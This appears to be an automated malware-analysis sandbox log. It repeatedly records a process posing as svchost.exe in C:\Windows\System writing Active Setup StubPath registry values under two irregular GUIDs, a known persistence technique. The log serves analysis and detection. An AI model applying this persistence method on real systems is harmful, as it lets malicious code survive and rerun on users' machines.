Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
